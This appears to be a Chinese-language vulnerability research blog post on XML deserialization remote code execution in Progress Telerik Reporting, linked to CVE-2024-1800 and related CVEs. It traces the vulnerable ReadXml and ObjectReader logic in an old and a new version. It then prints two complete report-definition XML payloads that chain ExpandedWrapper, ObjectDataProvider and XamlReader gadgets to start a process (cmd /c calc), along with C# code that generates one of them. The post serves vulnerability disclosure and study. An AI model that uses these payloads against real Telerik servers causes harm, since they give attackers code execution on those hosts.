Telerik Reporting XML反序列化的0day挖掘
起因
帮朋友审计一个项目,发现一个老版本Telerik.Reporting(和MOVEit/WS_FTP同属于Progress Software旗下产品)三方组件的一个可以导致RCE通用问题,后续了解了一下这个东西有web产品,也能集成到别的项目里面于是就研究下了新版本,同样也有类似的问题。 链接CVE-2024-1800、CVE-2024-1856、CVE-2024-1801。
后续老外@SinSinology挖到了一个未授权也发了文章:CVE-2024-4358(未授权)的分析
旧版RCE
事实上这个三方组件的洞,Telerik提供的一个报表功能。
先看看demo代码:
StringReader stringReader = new StringReader(test);
using (XmlReader xmlReader = XmlReader.Create(stringReader))
{
XmlSerializer serializer = new XmlSerializer(typeof(Telerik.Reporting.Report));
var Reports = (Telerik.Reporting.Report)serializer.Deserialize(xmlReader);
// Console.WriteLine(Reports.ToString());
}
正常来说这里类型不可控,无法直接触发RCE。 参考之前solarwinds的分析,即使反序列化类型不可控,可以尝试看看该类是否实现了IXmlSerializable接口
来看看这个类的实现:
这里版本很老了是4.2.10.1221,可以看到这个类实现了IXmlSerializable接口并且存在readxml方法:
protected override void ReadXml(XmlReader reader)
{
this.ResetPropertyValues();
if (reader.HasAttributes && reader.MoveToAttribute("Culture"))
{
this.Culture = new CultureInfo(reader.Value);
reader.MoveToElement();
}
base.ReadXml(reader);
this.RefreshStyleSheets();
XmlUtils.ResolveVisibilityTargets((IReportDocument) this);
}
所以当反序列化为这个类型时会调用自己的反序列化逻辑:
Telerik.Reporting.Report#ReadXml---->ReportItemBase#ReadXml---->Telerik.Reporting.Xml.XmlUtils#ReadXml
主要逻辑在XmlUtils类中:
自定义xml反序列化过程肯定要关注type是否可控,所以主要关注这段逻辑:
PropertyInfo property = type1.GetProperty(reader.Name);
object collection = property.GetValue(obj, (object[]) null);
if (((object) property.PropertyType == (object) typeof (object) || XmlUtils.IsKnownType(property.PropertyType)) && property.CanWrite)
{
string attribute = reader.GetAttribute("Type");
if (null != attribute)
{
Type type2 = Type.GetType(attribute);
........
这里的type1就是我们反序列化出的类型为Telerik.Reporting.Report
,这里想要走到Type type2 = Type.GetType(attribute);
,必须经过上面的if逻辑,也就是两个条件之一:
- Report存在一个属性值为object类型
- Report存在一个属性值可写即setter并且在已知类型里
看了下Report类,刚好存在满足条件1的属性
获取到type2之后的处理就是重新使用 XmlSerializer 再反序列化一次,那么只要构造DataSource部分最终就能反序列化出任意类型。
<DataSource Type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider
, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfXamlReaderObjectDataProvider>
<ProjectedProperty0>
<ObjectInstance d5p1:type=""XamlReader"" xmlns:d5p1=""http://www.w3.org/2001/XMLSchema-instance"" />
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:q1=""http://www.w3.org/2001/XMLSchema"" d6p1:type=""q1:string"" xmlns:d6p1=""http://www.w3.org/2001/XMLSchema-instance""><ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:b=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Diagnostics;assembly=system"">
<ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start"">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary></anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</DataSource>
最终走到ReadValue方法初始化XmlSerializer反序列化RCE。
最终payload
<?xml version=""1.0"" encoding=""utf-16""?>
<Report Width=""15cm"">
<PageSettings PaperKind=""A4"" Landscape=""false"">
<Margins Left=""2.53999993cm"" Right=""2.53999993cm"" Top=""2.53999993cm"" Bottom=""2.53999993cm"" />
</PageSettings>
<DataSource Type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfXamlReaderObjectDataProvider>
<ProjectedProperty0>
<ObjectInstance d5p1:type=""XamlReader"" xmlns:d5p1=""http://www.w3.org/2001/XMLSchema-instance"" />
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:q1=""http://www.w3.org/2001/XMLSchema"" d6p1:type=""q1:string"" xmlns:d6p1=""http://www.w3.org/2001/XMLSchema-instance""><ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:b=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start""><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary></anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</DataSource>
</Report>
新版RCE
下了个新版的Telerik Reporting找到对应的dll进行本地测试,算是一步一步盲测出来的。
- 直接用上面的payload会报接口不能被反序列化的错
查看上面的report类
此时版本已经是最新版了17.2.23.1114,并且未实现IXmlSerializable接口,当使用上面测试代码会走默认的反序列化逻辑,所以导致报错(存在一个public virtual ISite Site
)。
但是类似的功能肯定还在,翻了下官方文档是使用了新的自定义反序列化器ReportXmlSerializer,文档在这:https://docs.telerik.com/reporting/embedding-reports/program-the-report-definition/serialize-report-definition-in-xml
- 尝试直接将datasources设为空值会报无法反序列化抽象类,于是去找官方的demo
官方示例DataSources长这样
<DataSources>
<SqlDataSource ConnectionString="Data Source=.\SqlExpress;Initial Catalog=AdventureWorks;Integrated Security=True" SelectCommand="select ProductNumber, Name from Production.Product" Name="sqlDataSource1" />
</DataSources>
找一下SqlDataSource的类,实现了DataSource
一共有七个实现类,最终找到了WebServiceDataSource类,它有一个public object Source { get; set; }
,可以尝试用上面的思路试试
- 直接无脑用ysoserial的poc试试
<DataSources>
<WebServiceDataSource DataEncoding="1200" ParameterValues="null" AuthParameterValues="null" ServiceUrl="aaa" Name="dataSource1">
<Source>
poc
</Source>
</WebServiceDataSource>
</DataSources>
还是报错
报错无法解析其类型,根据报错堆栈进ReadXmlElement方法看看,实现如下
private object ReadXmlElement(string name)
{
string prefix;
string localName;
ObjectReader.ParseNsString(name, out prefix, out localName);
Type type1 = this.ResolveType(this.reader.LookupNamespace(prefix), localName);
if (type1 != (Type) null)
return this.ReadObject(type1);
Type type2 = Type.GetType(name);
if (!(type2 == (Type) null))
return this.ReadPrimitive(type2);
if (this.reader.Name == this.Settings.NullString || this.reader.Value == this.Settings.NullString)
return (object) null;
throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
}
那么进一步看看它自定义发序列化逻辑是如何反序列化类的,看上面的报错猜测首先是遍历所有标签和元素,然后readobject,跟进看看
这里获取到类型之后,并不会像之前遇到的调用xmlserialzer进行反序列化,而是调用createInstance实例化当前类型,后续通过反射设置其属性。
- 既然是直接实例化了,直接用objectDataProvider调用任意方法就行了 写个测试demo序列化出来
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = xamlReader;
objectDataProvider.MethodParameters.Add(xml);
objectDataProvider.MethodName = "Parse";
var report = new Report();
var dataSource = new WebServiceDataSource();
dataSource.Source = objectDataProvider;
dataSource.ServiceUrl = "test.com";
dataSource.DataEncoding = Encoding.Unicode;
report.DataSource = dataSource;
<?xml version="1.0" encoding="utf-16"?>
<Report DataSourceName="dataSource1" Width="17cm" xmlns="http://schemas.telerik.com/reporting/2023/3.0">
<DataSources>
<WebServiceDataSource DataEncoding="1200" ParameterValues="null" AuthParameterValues="null" ServiceUrl="g7shot" Name="dataSource1">
<Source>
<ObjectDataProvider MethodName="Parse" xmlns="clr-namespace:System.Windows.Data;assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<ObjectInstance>
<XamlReader xmlns="clr-namespace:System.Windows.Markup;assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
</ObjectInstance>
<MethodParameters>
<String xmlns="http://schemas.telerik.com/reporting/2023/3.0"><ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary></String>
</MethodParameters>
</ObjectDataProvider>
</Source>
</WebServiceDataSource>
</DataSources>
<PageSettings PaperKind="A4">
<Margins>
<MarginsU Left="20mm" Right="20mm" Top="20mm" Bottom="20mm" />
</Margins>
</PageSettings>
</Report>
最后确实可以
总结
运气不错,半黑盒就测出来了没有过多看代码。回头调试了一波,该功能实现逻辑是遍历所有标签以及其属性,然后通过反射实例化标签指定的类型,又默认信任所有类,最后造成了RCE。 贴下调用栈: